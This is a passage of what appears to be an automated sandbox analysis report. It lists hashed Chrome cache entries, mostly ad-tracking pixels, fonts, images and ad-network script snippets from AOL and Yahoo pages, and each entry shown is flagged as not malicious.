SSDEEP:	48:qkCDhll5xuPgTXCeybFuryI7hAu3obFuA8igBQWbz:glCUybFuuI9j3obFuBi/Wbz
MD5:	AA489CAF1E3F2BF852E2C60E6408B067
SHA1:	9960B9D960FD5CA70683AA20C78A4F962C549168
SHA-256:	37A31642AF0A7FE695ED0FD68A06A55AF44E854D083DC7F5D0E70535F0189AE0
SHA-512:	EBFFC578839A404557FAC7B51511D3D5FB1BA7711DABA34480FB89875740FFBB90FBCC98986F2F1F5399B42E9707F851301D740477D877FE471F69A061F49C25
Malicious:	false
Reputation:	low
URL:	https://onetag-sys.com/usync/?pubId=5d49f482552c9b6
Preview:	<!DOCTYPE html>.<html lang="en">.<head>. <meta charset="UTF-8">. <title>Sync Pixels</title>.</head>.<body>..<script>.. var syncPixels = "";. var syncIframes = "";.. var GDPR_APPLIES = "gdpr=";. var GDPR = "gdpr_consent=";. var US_PRIVACY = "us_privacy=";... var params = location.search.substring(1);. var consentString = "";. var usPrivacy = "";. var gdprAppliesValue = "1";.. try {.. var index = params.indexOf(GDPR);. if (index >= 0) {. consentString = params.substring(index + GDPR.length).split("&")[0];. }.. index = params.indexOf(GDPR_APPLIES);. if (index >= 0) {. var tmp = params.substring(index + GDPR_APPLIES.length).split("&")[0];. gdprAppliesValue = (tmp == null \|\| tmp === "" \|\| tmp === "1") ? "1" : "0";. }.. index = params.indexOf(US_PRIVACY);. if (index >= 0) {. usPrivacy = params.substring(index + US_PRIVACY.length).split("&")[0];. }..

Chrome Cache Entry: 570

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	3.0314906788435274
Encrypted:	false
SSDEEP:	3:CUkwltxlHh/:P/
MD5:	325472601571F31E1BF00674C368D335
SHA1:	2DAEAA8B5F19F0BC209D976C02BD6ACB51B00B0A
SHA-256:	B1442E85B03BDCAF66DC58C7ABB98745DD2687D86350BE9A298A1D9382AC849B
SHA-512:	717EA0FF7F3F624C268ECCB244E24EC1305AB21557ABB3D6F1A7E183FF68A2D28F13D1D2AF926C9EF6D1FB16DD8CBE34CD98CACF79091DDDC7874DCEE21ECFDC
Malicious:	false
Reputation:	low
URL:	https://beacon-ams3.rubiconproject.com/beacon/d/079d8ba6-e5d6-4c4a-99e7-d5b8c2bfdd08?oo=0&accountId=17250&siteId=539134&zoneId=3324844&sizeId=15&e=6A1E40E384DA563B0AEF393F0C729F51ECAF4C95A13CF74DAB61919B8D73EA4673CC5945E5CAA0A9020979EDD2A919040D4DB7A26C7F9E6B3305C2E5C0823A5D8ED3C2DC347A543211C8A2EF026DD4C363AF685AF18256F31E00D324FA07B447B20456AA2E724EC86DEB834D9D553D3DE1501A5C29ACF5C995BCEA9A1A431B34
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 571

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 50492, version 4.262
Category:	downloaded
Size (bytes):	50492
Entropy (8bit):	7.996239464156703
Encrypted:	true
SSDEEP:	768:N+zvGQ3XASHbY9ps66236vU2DXgjcinVOnZlpqcwAwd/ilj+eet5OMSI1O55nNF:EGshHMZ6B/MTn8Zfqh5CI1E/F
MD5:	5F64EA58A43603DDAB8B2E538701F6F8
SHA1:	C3CAEB4D385C158920A91C83E43F8B960AAD7344
SHA-256:	F45F98A61C87AF15EE003CF113ADA63636F52B5C7E17ED150A92D5D532BCCC07
SHA-512:	BCBA35E1F5A5DB16FEBD98AF7882EECACAC10596EB1CD7884EBDC5B9BC5191972BF2466F161DA7677A1B3C2AFC5271F97DAA634CE9005AD7495DFCD99345D469
Malicious:	false
Reputation:	low
URL:	https://s.yimg.com/cv/apiv2/aolfp/fonts/poppins/Poppins-Medium.woff2
Preview:	wOF2.......<......f..............................@..,..v.`..R........6.$.....H.. ..&...[.......^.B..m....4..>....4$.I...1T#.....t.................4...L\|}.Ap..g5#RR....#.+..Q'O..".Y...,...Y7..}k...bb.N..\....'s..^..........wDE.S...k.T>..7V!..]..........W../..x.....C..n.#L....a.......F\|..........9.."L3...&..G.s~.:.].}.Kc.Py.oQi<.2.-l.;..0..T..i..:....>.w..b..pY0...(.s...UP...L!.fE,..p.......R....h...p.0$..l9r..n..~..t...!...\..A.("P.x ...X......w...3....p.;i..g.dE.,.....2.d..X..2..D$...j.w..w.q\ .Eo........l..l...^.qD....&F"...._...\|.....F.r,y...H...0....... ..\|.n.dK...>.AB$D.6.`;..............$?........}.9{..I.. ....[...4h.....ys?....ezB.yf.`..g...E..D3...~.Yf7.eW......9.M..gA.R3yB.4.......Me..[q.....M.:p.1..GT...........Z..2+0....\..lP.....)..\....)..t.M..e.i.:/..S.k..g$.@....>tXpJ..K..$u*.i.Zg......k...H....(.P...].2.~..S!....c:s.&.Lb..]...A...Sgfd.........T.0.u....Fz..!`.zsx...,I.......t.....w.EQtt...E..h.%?.E.h4:j....n7.m.L.8.aP...mv.

Chrome Cache Entry: 572

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 50 x 50, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	2085
Entropy (8bit):	7.301922860116975
Encrypted:	false
SSDEEP:	48:cfanD2s+H/LbPygUs4qXWic7pRz7v0cnju/rV9hlizVvwusAcuc:cfanR+H/LuHqVcnX0hrvh8Zhcuc
MD5:	B65F65B22EFB7C7B99C0A9B1B4C3E9CB
SHA1:	163AC01C24311E90634FA4EEEACA1755160FA8F7
SHA-256:	54698467B90A6F818E604D30860FCF2474483C878806D4CECD26656FC6D04959
SHA-512:	5EEF30E794543A962FC8DFA4B493D0D0F428D84B4698E293696D23E829E3DD4310882C1898912457A0B39BD997938163D2AE184B1CF3272996E021497AEAD7E4
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...2...2.....).x.....PLTEGpL....................................................................................................................................................................................."G......................................................................................................................#G................#G.....................................................................................#G.#G......."F.#G.#G.#G.........................#G.&I.$H.-O*8Y!0R....)M...BOlbm.....+N...S_zJVr..Q......s\|.Ze~......Xd}."G<Ig.../=]...IUqmw.8Fd"1S....'K3A`hr......1?_u~......5Cb........&5V+:Z..._j....y..)7X.........O[v]h.:Gf...@Mj....'6W.........,;[{.....lv...........#GVb{>Kh6Dc&4V...FRo...u..q{....4Ba......EQn}..eo.P\v.........."F.........MYt.........0.0.....tRNS..t..d...E1...].a.......,....cvol......m.{.....i....6"........N...$;...y=V.?.Q..9J.H.).R^......4..Y...f...!B...............\|...._fZnM...z0U.....r.......<IDAT....uX.........

Chrome Cache Entry: 573

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 16 x 16, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	359
Entropy (8bit):	6.848197196819415
Encrypted:	false
SSDEEP:	6:6v/lhPfanDSjanmY3/lt1qQhgbylYAn7v4o5ClWnlWbyufDCS5p:6v/7qaanm4l2QSbdq7Ao5EmlWOufDZ3
MD5:	950FA11D56423BD2E5BA9400A81F5986
SHA1:	9BA1CC5C00AC42E87AC8947ED7A2C3330A023FB8
SHA-256:	B52205EBE73F61D28F7BB8498962927EA654A3986EA2B05D0B9F1DFEA7B435CB
SHA-512:	D66C66859E9BCB8AEB07A15BF2F07E361B5CF668AB405A3E4640E54967A86B7137CC63D886542373550DB6ABCCA7B9D4BCBAAC90710B1834A5A759A762299BA6
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.............(-.S...iPLTEGpL.................................444...............NNN...............lll..........>>>ZZZ...&&&...5......tRNS........3...\....IDAT..]....0..C..........M@.R..>.>...BH..(....C....kCm.w;...u..BQ..y.c...iZ7_...p..ASy..&a+..H.....Ax.u.Hl....Z.fj'h..)....G..4.-.h*2.bh..S..u..9z.....N....F.....e.....IEND.B`.

Chrome Cache Entry: 574

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	3.0314906788435274
Encrypted:	false
SSDEEP:	3:CUkwltxlHh/:P/
MD5:	325472601571F31E1BF00674C368D335
SHA1:	2DAEAA8B5F19F0BC209D976C02BD6ACB51B00B0A
SHA-256:	B1442E85B03BDCAF66DC58C7ABB98745DD2687D86350BE9A298A1D9382AC849B
SHA-512:	717EA0FF7F3F624C268ECCB244E24EC1305AB21557ABB3D6F1A7E183FF68A2D28F13D1D2AF926C9EF6D1FB16DD8CBE34CD98CACF79091DDDC7874DCEE21ECFDC
Malicious:	false
Reputation:	low
URL:	https://beacon-ams3.rubiconproject.com/beacon/d/bbbd1933-6408-4674-b9a3-da32475d79bc?oo=0&accountId=17250&siteId=539134&zoneId=3324844&sizeId=15&e=6A1E40E384DA563B320C729DE788C527B29DE2E760215F3AB7261ECD2CF2B6932BF303869ED77DD9849B32F1AB3B121E0D4DB7A26C7F9E6BDCC64471B63A72CF27F7AF9A8F5F13D111C8A2EF026DD4C363AF685AF18256F31E00D324FA07B447B20456AA2E724EC86DEB834D9D553D3DE1501A5C29ACF5C995BCEA9A1A431B34
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 575

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1830)
Category:	downloaded
Size (bytes):	1878
Entropy (8bit):	5.107695431788831
Encrypted:	false
SSDEEP:	48:YozhS8pvCw80kSqgutC9GmqiKdcNHv1u+xOsdKsGbE/YvWr:3hhCwQIN95qtk9fosRr
MD5:	E004617C8EF3480BC2C886DB24A64DDC
SHA1:	80A90900113866E85E19B8AF79E6362BAABA3D99
SHA-256:	8EB0514FBE0428520B3C318ED3CC1480CD2F714DB5F4B960CACDBE6E64958A98
SHA-512:	C886B3C078F08C5E59CD0D0065A5950496342531F0F5709F07EE7FFDDBB9EA6576A126649ACC42CA61EAA0CC6D05F5F2141336A5447700ECCED3F34DE26EE377
Malicious:	false
Reputation:	low
URL:	https://s.aolcdn.com/caas-assets-production/assets/v1/notification_banner.e004617c8ef3480b.js
Preview:	!function(e,t){"object"==typeof exports&&"object"==typeof module?module.exports=t():"function"==typeof define&&define.amd?define("CAAS_AOLCOM",[],t):"object"==typeof exports?exports.CAAS_AOLCOM=t():e.CAAS_AOLCOM=t()}(self,(function(){return function(){"use strict";var e={d:function(t,n){for(var o in n)e.o(n,o)&&!e.o(t,o)&&Object.defineProperty(t,o,{enumerable:!0,get:n[o]})},o:function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},r:function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})}},t={};function n(e){return n="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e},n(e)}function o(e,t){for(var n=0;n<t.length;n++){var o=t[n];o.enumerable=o.enumerable\|\|!1,o.configurable=!0,"value"in o&&(o.writable=!0),Object.definePro

Chrome Cache Entry: 576

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	3
Entropy (8bit):	0.9182958340544896
Encrypted:	false
SSDEEP:	3:+:+
MD5:	CF1731F1EADF52F064E6059D699E7615
SHA1:	816201B65AF045985CF47B5C7C58089759D00A45
SHA-256:	2E34AF284C28BF285781A36241B6E00EC74C81E6AE6858D52BDEDE5EBF7E37C1
SHA-512:	6C1809CAE27A9024FAE8DF165028316CD65E877E9362F5D132724675F7F9DC14A4A52DA43C0F6BDF7826CC1E6AA4633F79082B6125AD73DBA067C358169B29F8
Malicious:	false
Reputation:	low
URL:	https://cdn.taboola.com/libtrc/tr5?abgroup=trecs-yahoo-2_var-bridge
Preview:	ll;

Chrome Cache Entry: 577

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	3.0314906788435274
Encrypted:	false
SSDEEP:	3:CUkwltxlHh/:P/
MD5:	325472601571F31E1BF00674C368D335
SHA1:	2DAEAA8B5F19F0BC209D976C02BD6ACB51B00B0A
SHA-256:	B1442E85B03BDCAF66DC58C7ABB98745DD2687D86350BE9A298A1D9382AC849B
SHA-512:	717EA0FF7F3F624C268ECCB244E24EC1305AB21557ABB3D6F1A7E183FF68A2D28F13D1D2AF926C9EF6D1FB16DD8CBE34CD98CACF79091DDDC7874DCEE21ECFDC
Malicious:	false
Reputation:	low
URL:	https://sb.scorecardresearch.com/p?c1=19&c2=27061346&ca2=null&ns_ap_an=unknown&ns_ap_pn=js&ns_ap_pv=5&c12=_&name=foreground&ns_ap_ec=4&ns_ap_ev=hidden&ns_ap_device=Win32&ns_ap_id=1716503711984&ns_ap_bi=unknown&ns_ap_pfm=webbrowser&ns_ap_pfv=Chrome%20117.0.0.0&ns_ap_ver=unknown&ns_ap_sv=7.8.0%2B2310050509&ns_ap_bv=7.8.0%2B2310050509&ns_ap_smv=6.4&ns_type=hidden&ns_ts=1716503717160&ns_ap_env=0-0-2&cs_fpid=null&cs_fpit=null&cs_fpdm=null&cs_fpdt=null&ns_st_sv=7.8.0%2B2310050509&ns_st_smv=6.4&ns_st_it=c&ns_st_id=40ff1bab4a8b486aa330c4b5815ee2bd&ns_st_ec=2&ns_st_cn=1&ns_st_ev=pause&ns_st_sp=1&ns_st_sc=1&ns_st_ppc=1&ns_st_apc=1&ns_st_spc=1&ns_st_dppc=0&ns_st_dapc=0&ns_st_dspc=0&ns_st_psq=1&ns_st_asq=1&ns_st_sq=1&ns_st_po=26&ns_st_lda=0&ns_st_ldw=0&ns_st_ldo=0&ns_st_hd=-1&ns_st_mp=Yahoo%20Video%20Player&ns_st_mv=1.6.29&ns_st_cl=68000&ns_st_pn=1&ns_st_tp=0&ns_st_ct=vc11&ns_st_li=0&ns_st_ty=video&ns_st_ci=42b897a6-9771-3329-b351-69a701a77438&ns_ap_ar=unknown&ns_ap_cs=1&ns_radio=unknown&ns_st_pt=26&ns_st_ipt=26&ns_st_iap=26&ns_st_iet=26&ns_st_iupc=26&ns_st_iupa=26&ns_st_ilpc=26&ns_st_ilpa=26&ns_st_ibc=0&ns_st_ibt=0&ns_st_itpc=0&ns_st_icpc=0&ns_st_cfg=111110001-5-4b0-3-5&c3=yahoo&ca3=yahoos&c4=us.aolportal&ca4=us.aolportals&c6=&ns_st_pu=Yahoo&ns_st_st=Yahoo&ns_st_pr=3%20Things%20to%20Know%3A%20Graceland%2C%20Prince%20William%2C%20Barrymore&ns_st_sn=null&ns_st_en=null&ns_st_ep=AP&ns_st_ge=null&ns_st_cs=368x276&ns_st_dskc=0&ns_st_dska=0&ns_st_skd=0&ns_st_dskt=0&ns_st_dpc=1&cs_ucfr=1&ns_ap_res=1280x907&ns_ap_sd=1280x1024&ns_ap_po=0x0&ns_ap_lang=en-US&ns_c=UTF-8&ns_st_br=0&ns_st_rt=100&ns_st_vo=100&ns_st_dpt=26&ns_st_ap=26&ns_st_dap=26&ns_st_et=26&ns_st_det=26&ns_st_upc=26&ns_st_dupc=26&ns_st_upa=26&ns_st_dupa=26&ns_st_lpc=26&ns_st_dlpc=26&ns_st_lpa=26&ns_st_dlpa=26&ns_st_bc=0&ns_st_dbc=0&ns_st_bt=0&ns_st_dbt=0&ns_st_bp=0&ns_st_dtpc=0&ns_st_dcpc=0&ns_st_skc=0&ns_st_ska=0&ns_st_skt=0&ns_st_pc=1&ns_st_pp=1&ns_st_pa=26&c7=https%3A%2F%2Fwww.aol.com%2F&c8=News%2C%20Politics%2C%20Sports%2C%20Mail%20%26%20Latest%20Headlines%20-%20AOL.com&c9=&ns_st_ub=0
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 578

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	70
Entropy (8bit):	3.577769619550495
Encrypted:	false
SSDEEP:	3:CUuaaat/DemxhkYltxlzeze:bR1Nize
MD5:	14D1707EDA790F543C6FB8D0DCFF6359
SHA1:	CF7049298A876447C2854CF2BC4DF2987587AAC5
SHA-256:	DE9D3FD0EB948BD294477D0EDA60A73B85CAFF1794803530D0463193A113DA98
SHA-512:	27656D6106A6DA0C84174BA7A6307E6F1C4B3F2CC085C8466B6A25D54331035DABC7081AAC208D960D8D37C5577547628C0D1C4B77BB4CF254C71859673FEEC1
Malicious:	false
Reputation:	low
URL:	https://ps.eyeota.net/match?uid=8369ae03-bf51-422b-a15c-33306b0e1dfe&bid=1e2n4ou
Preview:	GIF89a...................!..NETSCAPE2.0.....!.......,................;

Chrome Cache Entry: 579

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2074), with no line terminators
Category:	downloaded
Size (bytes):	2074
Entropy (8bit):	5.260719431857589
Encrypted:	false
SSDEEP:	48:CEUG4rNVxugJTY7rRKLNqpH7q7HwDOq7br2yOuQ6qh:CdrNV0gVWvbq7eOq72yOdh
MD5:	93D5BB91C9A48C4EDBC164A65354B00C
SHA1:	EA8D8A5F20B4061A7581135B465F7D81F431390C
SHA-256:	E17075CF2F747253CB3C737891BE0F417B8F4330DDAB9D53013BDD4EBCA568EE
SHA-512:	3F0F5D520F75A443304ED277F73F050698029942A1A01B9B65A8F0D38846B7DFA04D126685A75436BC3534D94DD0C9B1BCCC6DB2C628C58FF74453FA92FD9D22
Malicious:	false
Reputation:	low
URL:	https://cdn.taboola.com/scripts/ifs.js
Preview:	!function(){var n="tsdtocl",e="!-#@",t="ul",i="https:",o=atob("aHR0cHM6Ly90c2R0b2NsLmNvbQ=="),r={},a=i,d=-1,c,u;try{var s=function n(e){r[e.id]&&(r[e.id](e),delete r[e.id])},w=function e(t){var i;try{i=JSON.parse(t.data)}catch(n){}i&&i.namespace===n&&s(i)},f=function e(t,i,o,a){if(c){r[++d]=a;var u={namespace:n,id:d,action:t,key:i,value:o};return c&&c.contentWindow&&c.contentWindow.postMessage(JSON.stringify(u),"*"),u}},l=function n(e){for(var t="".concat(e,"="),i=document.cookie.split(";"),o=0;o<i.length;o++){for(var r=i[o];" "===r.charAt(0);)r=r.substring(1);if(0===r.indexOf(t))return r.substring(t.length,r.length)}return""},g=function n(e,t,i){return f("append",e,t,i)},p=function n(t){if(t&&"string"==typeof t&&-1!==t.indexOf(e)){var i=new Image;return i.src="".concat(a,"//trc.taboola.com/sg/taboola-ifs/1/um/?uils=").concat(encodeURIComponent(t)),i}},m=function n(e){if(e&&e.success){if(e.wasAppended&&e.value)return p(e.value)}else window.__trcDebug&&window.__trcDebug("ifsDebug=".conc

Chrome Cache Entry: 580

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	3.2226627197680635
Encrypted:	false
SSDEEP:	3:CUzRtwv+L1pse:1/se
MD5:	F837AA60B6FE83458F790DB60D529FC9
SHA1:	14AF87CCEC7F81BB28D53C84DA2FD5A9D5925CDA
SHA-256:	DCECAB1355B5C2B9ECEF281322BF265AC5840B4688748586E9632B473A5FE56B
SHA-512:	A85E09C3B5DBB560F4E03BA880047DBC8B4999A64C1F54FBFBCA17EE0BCBED3BC6708D699190B56668E464A59358D6B534C3963A1329BA01DB21075EF5BEDACE
Malicious:	false
Reputation:	low
URL:	https://s.aolcdn.com/membership/abd-resources/vghd.gif
Preview:	GIF89a.............!.......,...........L..;

Chrome Cache Entry: 581

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	2.7374910194847146
Encrypted:	false
SSDEEP:	3:CUnl/7yltxlHh/:/+/
MD5:	07FFF40B5DD495ACA2AC4E1C3FBC60AA
SHA1:	E8AC224BA9EE97E87670ED6F3A2F0128B7AF9FE4
SHA-256:	A065920DF8CC4016D67C3A464BE90099C9D28FFE7C9E6EE3A18F257EFC58CBD7
SHA-512:	49B8DAF1F5BA868BC8C6B224C787A75025CA36513EF8633D1D8F34E48EE0B578F466FCC104A7BED553404DDC5F9FAFF3FEF5F894B31CD57F32245E550FAD656A
Malicious:	false
Reputation:	low
URL:	https://sync.srv.stackadapt.com/sync?nid=114&gdpr=0&gdpr_consent=&gpp=DBAA&gpp_sid=
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 582

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 348 x 306, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	14835
Entropy (8bit):	7.954001043786994
Encrypted:	false
SSDEEP:	384:gEqF3cONAG6VBnj+PKWQ6g9ixMO6pCnMGAq0M+/o3:ydcoF63j+izwDnMGR0M+/m
MD5:	530BCB090A875C0F904C395456A90B43
SHA1:	136F8117B89320679380320668FD69F5331DE8D7
SHA-256:	2D11F8B1A72D1D9AECE3A6DDA3FD06F48ED5131CF15EEF6D9046FD3F94663EA5
SHA-512:	0A88F05E1B3BCA7672E2C52FD7BAFB852902D17DE0835BB933958AA3B1295664BD46C66619FA883246E98914F1AE148AA31C23FCF6B7FEC00B61750E0EAB1407
Malicious:	false
Reputation:	low
URL:	https://s.aolcdn.com/caas-assets-production/assets/v1/images/modules/sports_scores/league_fallback.png
Preview:	.PNG........IHDR...\...2.......h...9.IDATx.._...u.OU.eK..-..%.%..J2......T....V.....4.6A...B.x.{A.I`x..E.X...H....G....E.@"ee...(.U4$..g8......s....T.[].].]]...fw.[].....w.=.!.f...~?....(^..+$rB...#.f5.....-.!.Z..m..#,.~...rNF..I./h..\.j\|.....Gi..uO..kO..-.G...e....;L...;.....@....V../.......g..........Z..........z........Y .Z....K..b{.j.H....0E.....A~.'&g)K.......g{..^@..&...L..?.....%.K"....6.r.Jsx....&.....D..l..O3.D..3.@.....jEE.,.....p.L\|...Z...ZH....1E+......vX..50.s%..?..w..m.b.:H....+..=p. ...............\...?'.s{..%p.).e.M.=...O.u).X.9.&.#.=i.].rN.#........\.n&....\|.:..q.....$.,...8.e.d..Zg!....=.EKN"...D.....i....<ZH..}..U~...}.u.a\|.u....Y.X[..^IHj....&VHr.T.BP(.T......X......88,..=2.6C:.v.....UF.>E.MF.."..C..J..../.........Cg...\|.G..p....5...o.L.\|.]..m..l1.W...}..`..J".g..Sm.Y.....".X.H>...k..I..@..7..z,......o..O}..7.............N.t{,.sd/..g<....&:b.8..u......(%.[.D..F.....g..J.....N~..2..C.~....7M]....Q-.H,2.3]..<#./.]0@.........

Chrome Cache Entry: 583

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	1378
Entropy (8bit):	4.831525414075134
Encrypted:	false
SSDEEP:	24:+lqZHPPAa3ZTWZ5Rg8r2ORg88U2Rqr4m1MyVM7rLHaBk2PWX3fVxfV1bplvI1dW2:xAQcrj889yreByfDDDMsuz
MD5:	76CE1359BA9707E41DD52EE595D64A08
SHA1:	1E7557E2596144288AA339DA5CC30D2E5FEC31B2
SHA-256:	0B19AEB61042BD448C6BC3133741C27EEBE3D3D99F46F8F23DCCDA442F09709B
SHA-512:	769D88C516CE7E205E9836D5C29C1926FE3D1C5FED62D9C44F56B04B6D8FE34F430E011DDC53ADD4314334D78D501060D21183155364F94F819D4111D2C89719
Malicious:	false
Reputation:	low
URL:	https://s.aolcdn.com/psstatic/aolhelp-prod/18.5.53/assets/modules/0.css
Preview:	.user-profile-opener {. cursor: pointer;.}...user-profile-panel {. display: none;. width: 100px;. margin: 0;. padding: 0;. position: absolute;. text-align: left;.}...user-profile-panel li {. list-style-type: none;.}...user-profile-panel.expanded {. display: block;.}..#user-profile-mobile .m-flyout__container {. display: none;.}..@media (max-width: 900px) {. #user-profile-mobile .m-flyout--open .m-flyout__container {. display: block;. }.}..@keyframes bounce-in-bottom {. 0% {. opacity: 0;. transform: translateY(500px) scale(.3);.. -webkit-transform: translateY(500px) scale(.3);. }. 50% {. opacity: 1;. -webkit-transform: scale(1.10);. transform: scale(1.10);. }. 100% {. -webkit-transform: scale(1);. transform: scale(1);. }.}...chatbot {. position: fixed;. bottom: 0;. right: 0;.}...chatbot .chatbot__open-chat {. position: absolute;. margin: 0;. border: 0;. padding: 0;. bottom: 10px;. right: 15px;. background: transparent;. animation: bo

Chrome Cache Entry: 584

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 200x200, components 3
Category:	dropped
Size (bytes):	11935
Entropy (8bit):	7.958360622469271
Encrypted:	false
SSDEEP:	192:2IOjXUO6rwAbSXf8sl71whxNCw1bIH/S49lQSsHByy/7Pb0PbZzkqiGKgi:2JCSZhExN71bIVQS05/vUri
MD5:	7A3C01BDD80A128AF90BE80040E887F8
SHA1:	7C9A4EF936113370DCFB98D68472DA0F6197FF0B
SHA-256:	3ECC184BD6F259948F06619665A3F8398194D1350EC9C658838F18EDA30996BD
SHA-512:	344B58236A01F3A06BBEC1DEAC79D4F91B6B77866602984D8B7FA0C7F50DBC5C5F19943546D95CDA2373589ECE089CF126F096CC9C497279BCBF4C84FD4914F2
Malicious:	false
Reputation:	low
Preview:	......JFIF.....................................................................&""&0-0>>T.............................+......+&.%#%.&D5//5DNB>BN_UU_wqw.........................6....................................................................Y..r`...rt..r....P.C.Xt...D..tD. ~.`.............pH.........XX........$75(.(...b...d.....L.........0.@...GE.D....\....8j.(..........&..N..+.._...0`...`).....R.YC..b.v\.r...a<..,.....%.OFR.(0...80AR.@.;a..Kn;X."...[..5...-..m.....^.g.t.Ac.).0!......x..m..}&KL.E.....>...............e....#..ikq.Y.r...6;.o..)s.t...j....,2.z.3....t.B...y.>......E..c.k.....g.......F...g..p....SE...a.....r....a.9.E....9f....._;W.GR..d..;+.&..k.O...k........\|...:h.#..xm.~R.....=}T.:y7...z).D5D._f...\|v...[..o..D.....5O.{.....}u....:.L..Z.(..z...I...>.+c..w........g.>W....i.:x..Rt...G\|...MW{Oym.s........[8....l..y.E....8q.'......`..#i.R.....]w....zO...z.]q....._..{.:GM....[z....wg..s^u/ED.;z....o..x6...1.=.l.U.iO...j.S.

Chrome Cache Entry: 585

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (16072), with no line terminators
Category:	downloaded
Size (bytes):	16072
Entropy (8bit):	5.511526781045287
Encrypted:	false
SSDEEP:	384:DnAJ01yJnUyOd1VxkZjhwq9+5yu85w+TINmNPvncG:jAJ00JnLOH4ZjhwDi2+0s9t
MD5:	1EFFFD6CB33146ADD963FAED777BEF4E
SHA1:	E02756C23FF8938F41B45C054F2DF1E74017AF4B
SHA-256:	C861DD92BE984FE498ECE34C0F3C921861AC51BFEE50323FCAE21231ABF7A82B
SHA-512:	C18BC005BD7EE270D1A009801311F2CD53DCB5E6E669216AEA55393FC30B642749926E357370D39FB013E0D9EC1BF781869AB5C568AC09529477DEF0192D3154
Malicious:	false
Reputation:	low
URL:	https://ads.pubmatic.com/AdServer/js/user_sync.html?p=156578&predirect=&gdpr=0&gdpr_consent=
Preview:	<html><body><script type="text/javascript">(function(){var aa=window,p=navigator,aj=aa.top\|\|aa,ak=aa.location.search.substr(1),A=encodeURIComponent,W=decodeURIComponent,aA=aa.parseInt,P=aa.PubMatic\|\|(aa.PubMatic={}),K=0,ad=0,b=0,ap="pubmatic.com",V="ads."+ap,am=1,Q="https://",a=(aa.__cmp?1:0),ao=function(aF){return typeof aF==="function"},av=console.log.bind(console,"PubMatic:"),au=function(aJ,aI){var aG=0,aF=aJ.length,aH=false;for(;aG<aF;aG++){if(aJ[aG]===aI){aH=true;break}}return aH},n=function(aF,aI){var aH=aa.document.createElement("script");aH.type="text/javascript";aH.src=aF;aH.async=true;if(ao(aI)){aH.onload=aH.onreadystatechange=aI}var aG=aa.document.getElementsByTagName("script")[0];aG&&aG.parentNode&&ao(aG.parentNode.appendChild)&&aG.parentNode.appendChild(aH)},ar=function(aH){var aG=aa.document.createElement("iframe");aG.src=aH;aG.style.height="0px";aG.style.width="0px";aG.style.display="none";aG.height=0;aG.width=0;aG.border="0px";aG.hspace="0";aG.vspace="0";aG.marginWidth=

Chrome Cache Entry: 586

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1 x 1, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	86
Entropy (8bit):	4.234496061572304
Encrypted:	false
SSDEEP:	3:yionv//thPlE+tnM7WsrtxBllKxt8SFFFlpimp:6v/lhPfZM1U82FFlpimp
MD5:	6C6641B08F4BE6F479F1588AF08054B3
SHA1:	8DA28B3146834C48FD843B108749191516D2A65D
SHA-256:	C2ECFF291918A3CAF0B7E470323E89F2A1F05B92E12A10649E598CACEBE62ACF
SHA-512:	BE544E3106F2B8E8083EF88B68806D6CEF2C4FBDD416C2E8EE17C88B42337A2972AF2C54CB8287A86ACCF6AC41CBCCA9A2E79F9E44417F5B144681D2B501E235
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR....................sBIT....\|.d.....IDAT..c````........N.....IEND.B`.

Chrome Cache Entry: 587

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65451)
Category:	downloaded
Size (bytes):	88145
Entropy (8bit):	5.291106244832159
Encrypted:	false
